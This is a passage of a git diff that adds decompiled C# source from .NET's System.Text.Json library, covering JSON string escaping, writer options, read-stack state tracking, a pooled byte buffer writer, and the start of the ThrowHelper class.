+ internal unsafe static OperationStatus ToUtf8(ReadOnlySpan source, Span destination, out int written) + { + written = 0; + try + { + if (!source.IsEmpty) + { + fixed (char* chars = source) + { + fixed (byte* bytes = destination) + { + written = s_utf8Encoding.GetBytes(chars, source.Length, bytes, destination.Length); + } + } + } + return OperationStatus.Done; + } + catch (EncoderFallbackException) + { + return OperationStatus.InvalidData; + } + catch (ArgumentException) + { + return OperationStatus.DestinationTooSmall; + } + } + + public static void WriteDateTimeTrimmed(Span buffer, DateTime value, out int bytesWritten) + { + Span destination = stackalloc byte[33]; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten, s_dateTimeStandardFormat); + TrimDateTimeOffset(destination.Slice(0, bytesWritten), out bytesWritten); + destination.Slice(0, bytesWritten).CopyTo(buffer); + } + + public static void WriteDateTimeOffsetTrimmed(Span buffer, DateTimeOffset value, out int bytesWritten) + { + Span destination = stackalloc byte[33]; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten, s_dateTimeStandardFormat); + TrimDateTimeOffset(destination.Slice(0, bytesWritten), out bytesWritten); + destination.Slice(0, bytesWritten).CopyTo(buffer); + } + + public static void TrimDateTimeOffset(Span buffer, out int bytesWritten) + { + if (buffer[26] != 48) + { + bytesWritten = buffer.Length; + return; + } + int num = ((buffer[25] != 48) ? 26 : ((buffer[24] != 48) ? 25 : ((buffer[23] != 48) ? 24 : ((buffer[22] != 48) ? 23 : ((buffer[21] != 48) ? 22 : ((buffer[20] != 48) ? 21 : 19)))))); + if (buffer.Length == 27) + { + bytesWritten = num; + } + else if (buffer.Length == 33) + { + buffer[num] = buffer[27]; + buffer[num + 1] = buffer[28]; + buffer[num + 2] = buffer[29]; + buffer[num + 3] = buffer[30]; + buffer[num + 4] = buffer[31]; + buffer[num + 5] = buffer[32]; + bytesWritten = num + 6; + } + else + { + buffer[num] = 90; + bytesWritten = num + 1; + } + } + + private static bool NeedsEscaping(byte value) + { + return AllowList[value] == 0; + } + + private static bool NeedsEscapingNoBoundsCheck(char value) + { + return AllowList[value] == 0; + } + + public static int NeedsEscaping(ReadOnlySpan value, JavaScriptEncoder encoder) + { + return ((TextEncoder)(encoder ?? JavaScriptEncoder.Default)).FindFirstCharacterToEncodeUtf8(value); + } + + public unsafe static int NeedsEscaping(ReadOnlySpan value, JavaScriptEncoder encoder) + { + if (value.IsEmpty) + { + return -1; + } + fixed (char* ptr = value) + { + return ((TextEncoder)(encoder ?? JavaScriptEncoder.Default)).FindFirstCharacterToEncode(ptr, value.Length); + } + } + + public static int GetMaxEscapedLength(int textLength, int firstIndexToEscape) + { + return firstIndexToEscape + 6 * (textLength - firstIndexToEscape); + } + + private static void EscapeString(ReadOnlySpan value, Span destination, JavaScriptEncoder encoder, ref int written) + { + int num = default(int); + int num2 = default(int); + if (((TextEncoder)encoder).EncodeUtf8(value, destination, ref num, ref num2, true) != OperationStatus.Done) + { + ThrowHelper.ThrowArgumentException_InvalidUTF8(value.Slice(num2)); + } + written += num2; + } + + public static void EscapeString(ReadOnlySpan value, Span destination, int indexOfFirstByteToEscape, JavaScriptEncoder encoder, out int written) + { + value.Slice(0, indexOfFirstByteToEscape).CopyTo(destination); + written = indexOfFirstByteToEscape; + if (encoder != null) + { + destination = destination.Slice(indexOfFirstByteToEscape); + value = value.Slice(indexOfFirstByteToEscape); + EscapeString(value, destination, encoder, ref written); + return; + } + while (indexOfFirstByteToEscape < value.Length) + { + byte b = value[indexOfFirstByteToEscape]; + if (IsAsciiValue(b)) + { + if (NeedsEscaping(b)) + { + EscapeNextBytes(b, destination, ref written); + indexOfFirstByteToEscape++; + } + else + { + destination[written] = b; + written++; + indexOfFirstByteToEscape++; + } + continue; + } + destination = destination.Slice(written); + value = value.Slice(indexOfFirstByteToEscape); + EscapeString(value, destination, JavaScriptEncoder.Default, ref written); + break; + } + } + + private static void EscapeNextBytes(byte value, Span destination, ref int written) + { + destination[written++] = 92; + switch (value) + { + case 34: + destination[written++] = 117; + destination[written++] = 48; + destination[written++] = 48; + destination[written++] = 50; + destination[written++] = 50; + break; + case 10: + destination[written++] = 110; + break; + case 13: + destination[written++] = 114; + break; + case 9: + destination[written++] = 116; + break; + case 92: + destination[written++] = 92; + break; + case 8: + destination[written++] = 98; + break; + case 12: + destination[written++] = 102; + break; + default: + { + destination[written++] = 117; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination.Slice(written), out bytesWritten, s_hexStandardFormat); + written += bytesWritten; + break; + } + } + } + + private static bool IsAsciiValue(byte value) + { + return value <= 127; + } + + private static bool IsAsciiValue(char value) + { + return value <= '\u007f'; + } + + private static void EscapeString(ReadOnlySpan value, Span destination, JavaScriptEncoder encoder, ref int written) + { + int num = default(int); + int num2 = default(int); + if (((TextEncoder)encoder).Encode(value, destination, ref num, ref num2, true) != OperationStatus.Done) + { + ThrowHelper.ThrowArgumentException_InvalidUTF16(value[num2]); + } + written += num2; + } + + public static void EscapeString(ReadOnlySpan value, Span destination, int indexOfFirstByteToEscape, JavaScriptEncoder encoder, out int written) + { + value.Slice(0, indexOfFirstByteToEscape).CopyTo(destination); + written = indexOfFirstByteToEscape; + if (encoder != null) + { + destination = destination.Slice(indexOfFirstByteToEscape); + value = value.Slice(indexOfFirstByteToEscape); + EscapeString(value, destination, encoder, ref written); + return; + } + while (indexOfFirstByteToEscape < value.Length) + { + char c = value[indexOfFirstByteToEscape]; + if (IsAsciiValue(c)) + { + if (NeedsEscapingNoBoundsCheck(c)) + { + EscapeNextChars(c, destination, ref written); + indexOfFirstByteToEscape++; + } + else + { + destination[written] = c; + written++; + indexOfFirstByteToEscape++; + } + continue; + } + destination = destination.Slice(written); + value = value.Slice(indexOfFirstByteToEscape); + EscapeString(value, destination, JavaScriptEncoder.Default, ref written); + break; + } + } + + private static void EscapeNextChars(char value, Span destination, ref int written) + { + destination[written++] = '\\'; + switch ((byte)value) + { + case 34: + destination[written++] = 'u'; + destination[written++] = '0'; + destination[written++] = '0'; + destination[written++] = '2'; + destination[written++] = '2'; + break; + case 10: + destination[written++] = 'n'; + break; + case 13: + destination[written++] = 'r'; + break; + case 9: + destination[written++] = 't'; + break; + case 92: + destination[written++] = '\\'; + break; + case 8: + destination[written++] = 'b'; + break; + case 12: + destination[written++] = 'f'; + break; + default: + destination[written++] = 'u'; + written = WriteHex(value, destination, written); + break; + } + } + + private static int WriteHex(int value, Span destination, int written) + { + destination[written++] = System.HexConverter.ToCharUpper(value >> 12); + destination[written++] = System.HexConverter.ToCharUpper(value >> 8); + destination[written++] = System.HexConverter.ToCharUpper(value >> 4); + destination[written++] = System.HexConverter.ToCharUpper(value); + return written; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterOptions.cs new file mode 100644 index 0000000..35eba00 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterOptions.cs @@ -0,0 +1,74 @@ +using System.Text.Encodings.Web; + +namespace System.Text.Json; + +public struct JsonWriterOptions +{ + internal const int DefaultMaxDepth = 1000; + + private int _maxDepth; + + private int _optionsMask; + + private const int IndentBit = 1; + + private const int SkipValidationBit = 2; + + public JavaScriptEncoder? Encoder { get; set; } + + public bool Indented + { + get + { + return (_optionsMask & 1) != 0; + } + set + { + if (value) + { + _optionsMask |= 1; + } + else + { + _optionsMask &= -2; + } + } + } + + public int MaxDepth + { + readonly get + { + return _maxDepth; + } + set + { + if (value < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_MaxDepthMustBePositive("value"); + } + _maxDepth = value; + } + } + + public bool SkipValidation + { + get + { + return (_optionsMask & 2) != 0; + } + set + { + if (value) + { + _optionsMask |= 2; + } + else + { + _optionsMask &= -3; + } + } + } + + internal bool IndentedOrNotSkipValidation => _optionsMask != 2; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/MetadataPropertyName.cs b/decompiled/Libraries/system.text.json/System.Text.Json/MetadataPropertyName.cs new file mode 100644 index 0000000..769e9c3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/MetadataPropertyName.cs @@ -0,0 +1,11 @@ +namespace System.Text.Json; + +[Flags] +internal enum MetadataPropertyName : byte +{ + None = 0, + Values = 1, + Id = 2, + Ref = 4, + Type = 8 +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/NumericType.cs b/decompiled/Libraries/system.text.json/System.Text.Json/NumericType.cs new file mode 100644 index 0000000..86b3403 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/NumericType.cs @@ -0,0 +1,19 @@ +namespace System.Text.Json; + +internal enum NumericType +{ + Byte, + SByte, + Int16, + Int32, + Int64, + Int128, + UInt16, + UInt32, + UInt64, + UInt128, + Half, + Single, + Double, + Decimal +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/PolymorphicSerializationState.cs b/decompiled/Libraries/system.text.json/System.Text.Json/PolymorphicSerializationState.cs new file mode 100644 index 0000000..8d01297 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/PolymorphicSerializationState.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json; + +internal enum PolymorphicSerializationState : byte +{ + None, + PolymorphicReEntryStarted, + PolymorphicReEntrySuspended, + PolymorphicReEntryNotFound +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/PooledByteBufferWriter.cs b/decompiled/Libraries/system.text.json/System.Text.Json/PooledByteBufferWriter.cs new file mode 100644 index 0000000..e2568b5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/PooledByteBufferWriter.cs @@ -0,0 +1,134 @@ +using System.Buffers; +using System.IO; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json; + +internal sealed class PooledByteBufferWriter : IBufferWriter, IDisposable +{ + private byte[] _rentedBuffer; + + private int _index; + + private const int MinimumBufferSize = 256; + + public const int MaximumBufferSize = 2147483591; + + public ReadOnlyMemory WrittenMemory => _rentedBuffer.AsMemory(0, _index); + + public int WrittenCount => _index; + + public int Capacity => _rentedBuffer.Length; + + public int FreeCapacity => _rentedBuffer.Length - _index; + + private PooledByteBufferWriter() + { + } + + public PooledByteBufferWriter(int initialCapacity) + : this() + { + _rentedBuffer = ArrayPool.Shared.Rent(initialCapacity); + _index = 0; + } + + public void Clear() + { + ClearHelper(); + } + + public void ClearAndReturnBuffers() + { + ClearHelper(); + byte[] rentedBuffer = _rentedBuffer; + _rentedBuffer = null; + ArrayPool.Shared.Return(rentedBuffer); + } + + private void ClearHelper() + { + _rentedBuffer.AsSpan(0, _index).Clear(); + _index = 0; + } + + public void Dispose() + { + if (_rentedBuffer != null) + { + ClearHelper(); + byte[] rentedBuffer = _rentedBuffer; + _rentedBuffer = null; + ArrayPool.Shared.Return(rentedBuffer); + } + } + + public void InitializeEmptyInstance(int initialCapacity) + { + _rentedBuffer = ArrayPool.Shared.Rent(initialCapacity); + _index = 0; + } + + public static PooledByteBufferWriter CreateEmptyInstanceForCaching() + { + return new PooledByteBufferWriter(); + } + + public void Advance(int count) + { + _index += count; + } + + public Memory GetMemory(int sizeHint = 256) + { + CheckAndResizeBuffer(sizeHint); + return _rentedBuffer.AsMemory(_index); + } + + public Span GetSpan(int sizeHint = 256) + { + CheckAndResizeBuffer(sizeHint); + return _rentedBuffer.AsSpan(_index); + } + + internal Task WriteToStreamAsync(Stream destination, CancellationToken cancellationToken) + { + return destination.WriteAsync(_rentedBuffer, 0, _index, cancellationToken); + } + + internal void WriteToStream(Stream destination) + { + destination.Write(_rentedBuffer, 0, _index); + } + + private void CheckAndResizeBuffer(int sizeHint) + { + int num = _rentedBuffer.Length; + int num2 = num - _index; + if (_index >= 1073741795) + { + sizeHint = Math.Max(sizeHint, 2147483591 - num); + } + if (sizeHint <= num2) + { + return; + } + int num3 = Math.Max(sizeHint, num); + int num4 = num + num3; + if ((uint)num4 > 2147483591u) + { + num4 = num + sizeHint; + if ((uint)num4 > 2147483591u) + { + ThrowHelper.ThrowOutOfMemoryException_BufferMaximumSizeExceeded((uint)num4); + } + } + byte[] rentedBuffer = _rentedBuffer; + _rentedBuffer = ArrayPool.Shared.Rent(num4); + Span span = rentedBuffer.AsSpan(0, _index); + span.CopyTo(_rentedBuffer); + span.Clear(); + ArrayPool.Shared.Return(rentedBuffer); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ReadStack.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ReadStack.cs new file mode 100644 index 0000000..d9d4745 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ReadStack.cs @@ -0,0 +1,296 @@ +using System.Collections; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{DebuggerDisplay,nq}")] +internal struct ReadStack +{ + public ReadStackFrame Current; + + private ReadStackFrame[] _stack; + + private int _count; + + private int _continuationCount; + + public long BytesConsumed; + + public bool ReadAhead; + + public ReferenceResolver ReferenceResolver; + + public bool SupportContinuation; + + public string ReferenceId; + + public object PolymorphicTypeDiscriminator; + + public bool PreserveReferences; + + public readonly ref ReadStackFrame Parent => ref _stack[_count - 2]; + + public readonly JsonPropertyInfo ParentProperty + { + get + { + if (!Current.HasParentObject) + { + return null; + } + return Parent.JsonPropertyInfo; + } + } + + public bool IsContinuation => _continuationCount != 0; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"Path = {JsonPath()}, Current = ConverterStrategy.{Current.JsonTypeInfo?.Converter.ConverterStrategy}, {Current.JsonTypeInfo?.Type.Name}"; + + private void EnsurePushCapacity() + { + if (_stack == null) + { + _stack = new ReadStackFrame[4]; + } + else if (_count - 1 == _stack.Length) + { + Array.Resize(ref _stack, 2 * _stack.Length); + } + } + + internal void Initialize(JsonTypeInfo jsonTypeInfo, bool supportContinuation = false) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + if (options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.Preserve) + { + ReferenceResolver = options.ReferenceHandler.CreateResolver(writing: false); + PreserveReferences = true; + } + Current.JsonTypeInfo = jsonTypeInfo; + Current.JsonPropertyInfo = jsonTypeInfo.PropertyInfoForTypeInfo; + Current.NumberHandling = Current.JsonPropertyInfo.EffectiveNumberHandling; + Current.CanContainMetadata = PreserveReferences || (jsonTypeInfo.PolymorphicTypeResolver?.UsesTypeDiscriminators ?? false); + SupportContinuation = supportContinuation; + } + + public void Push() + { + if (_continuationCount == 0) + { + if (_count == 0) + { + _count = 1; + } + else + { + JsonTypeInfo jsonTypeInfo = Current.JsonPropertyInfo?.JsonTypeInfo ?? Current.CtorArgumentState.JsonParameterInfo.JsonTypeInfo; + JsonNumberHandling? numberHandling = Current.NumberHandling; + EnsurePushCapacity(); + _stack[_count - 1] = Current; + Current = default(ReadStackFrame); + _count++; + Current.JsonTypeInfo = jsonTypeInfo; + Current.JsonPropertyInfo = jsonTypeInfo.PropertyInfoForTypeInfo; + Current.NumberHandling = numberHandling ?? Current.JsonPropertyInfo.EffectiveNumberHandling; + Current.CanContainMetadata = PreserveReferences || (jsonTypeInfo.PolymorphicTypeResolver?.UsesTypeDiscriminators ?? false); + } + } + else + { + if (_count++ > 0) + { + _stack[_count - 2] = Current; + Current = _stack[_count - 1]; + } + if (_continuationCount == _count) + { + _continuationCount = 0; + } + } + SetConstructorArgumentState(); + } + + public void Pop(bool success) + { + if (!success) + { + if (_continuationCount == 0) + { + if (_count == 1) + { + _continuationCount = 1; + _count = 0; + return; + } + EnsurePushCapacity(); + _continuationCount = _count--; + } + else if (--_count == 0) + { + return; + } + _stack[_count] = Current; + Current = _stack[_count - 1]; + } + else if (--_count > 0) + { + Current = _stack[_count - 1]; + } + } + + public JsonConverter InitializePolymorphicReEntry(JsonTypeInfo derivedJsonTypeInfo) + { + Current.PolymorphicJsonTypeInfo = Current.JsonTypeInfo; + Current.JsonTypeInfo = derivedJsonTypeInfo; + Current.JsonPropertyInfo = derivedJsonTypeInfo.PropertyInfoForTypeInfo; + ref JsonNumberHandling? numberHandling = ref Current.NumberHandling; + JsonNumberHandling? jsonNumberHandling = numberHandling; + if (!jsonNumberHandling.HasValue) + { + numberHandling = Current.JsonPropertyInfo.NumberHandling; + } + Current.PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryStarted; + SetConstructorArgumentState(); + return derivedJsonTypeInfo.Converter; + } + + public JsonConverter ResumePolymorphicReEntry() + { + ref JsonTypeInfo jsonTypeInfo = ref Current.JsonTypeInfo; + ref JsonTypeInfo polymorphicJsonTypeInfo = ref Current.PolymorphicJsonTypeInfo; + JsonTypeInfo polymorphicJsonTypeInfo2 = Current.PolymorphicJsonTypeInfo; + JsonTypeInfo jsonTypeInfo2 = Current.JsonTypeInfo; + jsonTypeInfo = polymorphicJsonTypeInfo2; + polymorphicJsonTypeInfo = jsonTypeInfo2; + Current.PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryStarted; + return Current.JsonTypeInfo.Converter; + } + + public void ExitPolymorphicConverter(bool success) + { + ref JsonTypeInfo jsonTypeInfo = ref Current.JsonTypeInfo; + ref JsonTypeInfo polymorphicJsonTypeInfo = ref Current.PolymorphicJsonTypeInfo; + JsonTypeInfo polymorphicJsonTypeInfo2 = Current.PolymorphicJsonTypeInfo; + JsonTypeInfo jsonTypeInfo2 = Current.JsonTypeInfo; + jsonTypeInfo = polymorphicJsonTypeInfo2; + polymorphicJsonTypeInfo = jsonTypeInfo2; + Current.PolymorphicSerializationState = ((!success) ? PolymorphicSerializationState.PolymorphicReEntrySuspended : PolymorphicSerializationState.None); + } + + public string JsonPath() + { + StringBuilder stringBuilder = new StringBuilder("$"); + int continuationCount = _continuationCount; + (int, bool) tuple = continuationCount switch + { + 0 => (_count - 1, true), + 1 => (0, true), + _ => (continuationCount, false), + }; + int item = tuple.Item1; + bool item2 = tuple.Item2; + for (int i = 0; i < item; i++) + { + AppendStackFrame(stringBuilder, ref _stack[i]); + } + if (item2) + { + AppendStackFrame(stringBuilder, ref Current); + } + return stringBuilder.ToString(); + static void AppendPropertyName(StringBuilder sb, string propertyName) + { + if (propertyName != null) + { + if (propertyName.AsSpan().ContainsSpecialCharacters()) + { + sb.Append("['"); + sb.Append(propertyName); + sb.Append("']"); + } + else + { + sb.Append('.'); + sb.Append(propertyName); + } + } + } + static void AppendStackFrame(StringBuilder sb, ref ReadStackFrame frame) + { + string propertyName = GetPropertyName(ref frame); + AppendPropertyName(sb, propertyName); + if (frame.JsonTypeInfo != null && frame.IsProcessingEnumerable() && frame.ReturnValue is IEnumerable enumerable && (frame.ObjectState == StackFrameObjectState.None || frame.ObjectState == StackFrameObjectState.CreatedObject || frame.ObjectState == StackFrameObjectState.ReadElements)) + { + sb.Append('['); + sb.Append(GetCount(enumerable)); + sb.Append(']'); + } + } + static int GetCount(IEnumerable enumerable) + { + if (enumerable is ICollection collection) + { + return collection.Count; + } + int num = 0; + IEnumerator enumerator = enumerable.GetEnumerator(); + while (enumerator.MoveNext()) + { + num++; + } + return num; + } + static string GetPropertyName(ref ReadStackFrame frame) + { + string result = null; + byte[] array = frame.JsonPropertyName; + if (array == null) + { + if (frame.JsonPropertyNameAsString != null) + { + result = frame.JsonPropertyNameAsString; + } + else + { + array = frame.JsonPropertyInfo?.NameAsUtf8Bytes ?? frame.CtorArgumentState?.JsonParameterInfo?.NameAsUtf8Bytes; + } + } + if (array != null) + { + result = JsonHelpers.Utf8GetString(array); + } + return result; + } + } + + public JsonTypeInfo GetTopJsonTypeInfoWithParameterizedConstructor() + { + for (int i = 0; i < _count - 1; i++) + { + if (_stack[i].JsonTypeInfo.UsesParameterizedConstructor) + { + return _stack[i].JsonTypeInfo; + } + } + return Current.JsonTypeInfo; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void SetConstructorArgumentState() + { + if (Current.JsonTypeInfo.UsesParameterizedConstructor) + { + ref ArgumentState ctorArgumentState = ref Current.CtorArgumentState; + if (ctorArgumentState == null) + { + ctorArgumentState = new ArgumentState(); + } + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ReadStackFrame.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ReadStackFrame.cs new file mode 100644 index 0000000..7791ace --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ReadStackFrame.cs @@ -0,0 +1,132 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Converters; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{DebuggerDisplay,nq}")] +internal struct ReadStackFrame +{ + public JsonPropertyInfo JsonPropertyInfo; + + public StackFramePropertyState PropertyState; + + public bool UseExtensionProperty; + + public byte[] JsonPropertyName; + + public string JsonPropertyNameAsString; + + public object DictionaryKey; + + public object ReturnValue; + + public JsonTypeInfo JsonTypeInfo; + + public StackFrameObjectState ObjectState; + + public LargeJsonObjectExtensionDataSerializationState LargeJsonObjectExtensionDataSerializationState; + + public bool CanContainMetadata; + + public MetadataPropertyName LatestMetadataPropertyName; + + public MetadataPropertyName MetadataPropertyNames; + + public PolymorphicSerializationState PolymorphicSerializationState; + + public JsonTypeInfo PolymorphicJsonTypeInfo; + + public int PropertyIndex; + + public List PropertyRefCache; + + public ArgumentState CtorArgumentState; + + public JsonNumberHandling? NumberHandling; + + public BitArray RequiredPropertiesSet; + + public bool HasParentObject; + + public bool IsPopulating; + + public JsonTypeInfo BaseJsonTypeInfo + { + get + { + if (PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + return JsonTypeInfo; + } + return PolymorphicJsonTypeInfo; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"ConverterStrategy.{JsonTypeInfo?.Converter.ConverterStrategy}, {JsonTypeInfo?.Type.Name}"; + + public void EndConstructorParameter() + { + CtorArgumentState.JsonParameterInfo = null; + JsonPropertyName = null; + PropertyState = StackFramePropertyState.None; + } + + public void EndProperty() + { + JsonPropertyInfo = null; + JsonPropertyName = null; + JsonPropertyNameAsString = null; + PropertyState = StackFramePropertyState.None; + } + + public void EndElement() + { + JsonPropertyNameAsString = null; + PropertyState = StackFramePropertyState.None; + } + + public bool IsProcessingDictionary() + { + return JsonTypeInfo.Kind == JsonTypeInfoKind.Dictionary; + } + + public bool IsProcessingEnumerable() + { + return JsonTypeInfo.Kind == JsonTypeInfoKind.Enumerable; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void MarkRequiredPropertyAsRead(JsonPropertyInfo propertyInfo) + { + if (propertyInfo.IsRequired) + { + RequiredPropertiesSet[propertyInfo.RequiredPropertyIndex] = true; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal void InitializeRequiredPropertiesValidationState(JsonTypeInfo typeInfo) + { + if (typeInfo.NumberOfRequiredProperties > 0) + { + RequiredPropertiesSet = new BitArray(typeInfo.NumberOfRequiredProperties); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal void ValidateAllRequiredPropertiesAreRead(JsonTypeInfo typeInfo) + { + if (typeInfo.NumberOfRequiredProperties > 0 && !JsonHelpers.HasAllSet(RequiredPropertiesSet)) + { + ThrowHelper.ThrowJsonException_JsonRequiredPropertyMissing(typeInfo, RequiredPropertiesSet); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/StackFrameObjectState.cs b/decompiled/Libraries/system.text.json/System.Text.Json/StackFrameObjectState.cs new file mode 100644 index 0000000..417caf2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/StackFrameObjectState.cs @@ -0,0 +1,13 @@ +namespace System.Text.Json; + +internal enum StackFrameObjectState : byte +{ + None, + StartToken, + ReadMetadata, + ConstructorArguments, + CreatedObject, + ReadElements, + EndToken, + EndTokenValidation +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/StackFramePropertyState.cs b/decompiled/Libraries/system.text.json/System.Text.Json/StackFramePropertyState.cs new file mode 100644 index 0000000..8716d05 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/StackFramePropertyState.cs @@ -0,0 +1,11 @@ +namespace System.Text.Json; + +internal enum StackFramePropertyState : byte +{ + None, + ReadName, + Name, + ReadValue, + ReadValueIsEnd, + TryRead +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/ThrowHelper.cs b/decompiled/Libraries/system.text.json/System.Text.Json/ThrowHelper.cs new file mode 100644 index 0000000..5431726 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/ThrowHelper.cs @@ -0,0 +1,1512 @@ +using System.Buffers; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json; + +internal static class ThrowHelper +{ + public const string ExceptionSourceValueToRethrowAsJsonException = "System.Text.Json.Rethrowable"; + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + public static void ThrowOutOfMemoryException_BufferMaximumSizeExceeded(uint capacity) + { + throw new OutOfMemoryException(System.SR.Format(System.SR.BufferMaximumSizeExceeded, capacity)); + } + + [DoesNotReturn] + public static void ThrowArgumentNullException(string parameterName) + { + throw new ArgumentNullException(parameterName); + } + + [DoesNotReturn] + public static void ThrowArgumentOutOfRangeException_MaxDepthMustBePositive(string parameterName) + { + throw GetArgumentOutOfRangeException(parameterName, System.SR.MaxDepthMustBePositive); + } + + private static ArgumentOutOfRangeException GetArgumentOutOfRangeException(string parameterName, string message) + { + return new ArgumentOutOfRangeException(parameterName, message); + } + + [DoesNotReturn] + public static void ThrowArgumentOutOfRangeException_CommentEnumMustBeInRange(string parameterName) + { + throw GetArgumentOutOfRangeException(parameterName, System.SR.CommentHandlingMustBeValid); + } + + [DoesNotReturn] + public static void ThrowArgumentOutOfRangeException_ArrayIndexNegative(string paramName) + { + throw new ArgumentOutOfRangeException(paramName, System.SR.ArrayIndexNegative); + } + + [DoesNotReturn] + public static void ThrowArgumentOutOfRangeException_JsonConverterFactory_TypeNotSupported(Type typeToConvert) + { + throw new ArgumentOutOfRangeException("typeToConvert", System.SR.Format(System.SR.SerializerConverterFactoryInvalidArgument, typeToConvert.FullName)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_ArrayTooSmall(string paramName) + { + throw new ArgumentException(System.SR.ArrayTooSmall, paramName); + } + + private static ArgumentException GetArgumentException(string message) + { + return new ArgumentException(message); + } + + [DoesNotReturn] + public static void ThrowArgumentException(string message) + { + throw GetArgumentException(message); + } + + public static InvalidOperationException GetInvalidOperationException_CallFlushFirst(int _buffered) + { + return GetInvalidOperationException(System.SR.Format(System.SR.CallFlushToAvoidDataLoss, _buffered)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_DestinationTooShort() + { + throw GetArgumentException(System.SR.DestinationTooShort); + } + + [DoesNotReturn] + public static void ThrowArgumentException_PropertyNameTooLarge(int tokenLength) + { + throw GetArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, tokenLength)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_ValueTooLarge(long tokenLength) + { + throw GetArgumentException(System.SR.Format(System.SR.ValueTooLarge, tokenLength)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_ValueNotSupported() + { + throw GetArgumentException(System.SR.SpecialNumberValuesNotSupported); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NeedLargerSpan() + { + throw GetInvalidOperationException(System.SR.FailedToGetLargerSpan); + } + + [DoesNotReturn] + public static void ThrowPropertyNameTooLargeArgumentException(int length) + { + throw GetArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, length)); + } + + [DoesNotReturn] + public static void ThrowArgumentException(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666) + { + ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + else + { + ThrowArgumentException(System.SR.Format(System.SR.ValueTooLarge, value.Length)); + } + } + + [DoesNotReturn] + public static void ThrowArgumentException(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666) + { + ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + else + { + ThrowArgumentException(System.SR.Format(System.SR.ValueTooLarge, value.Length)); + } + } + + [DoesNotReturn] + public static void ThrowArgumentException(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666) + { + ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + else + { + ThrowArgumentException(System.SR.Format(System.SR.ValueTooLarge, value.Length)); + } + } + + [DoesNotReturn] + public static void ThrowArgumentException(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666) + { + ThrowArgumentException(System.SR.Format(System.SR.PropertyNameTooLarge, propertyName.Length)); + } + else + { + ThrowArgumentException(System.SR.Format(System.SR.ValueTooLarge, value.Length)); + } + } + + [DoesNotReturn] + public static void ThrowInvalidOperationOrArgumentException(ReadOnlySpan propertyName, int currentDepth, int maxDepth) + { + currentDepth &= 0x7FFFFFFF; + if (currentDepth >= maxDepth) + { + ThrowInvalidOperationException(System.SR.Format(System.SR.DepthTooLarge, currentDepth, maxDepth)); + } + else + { + 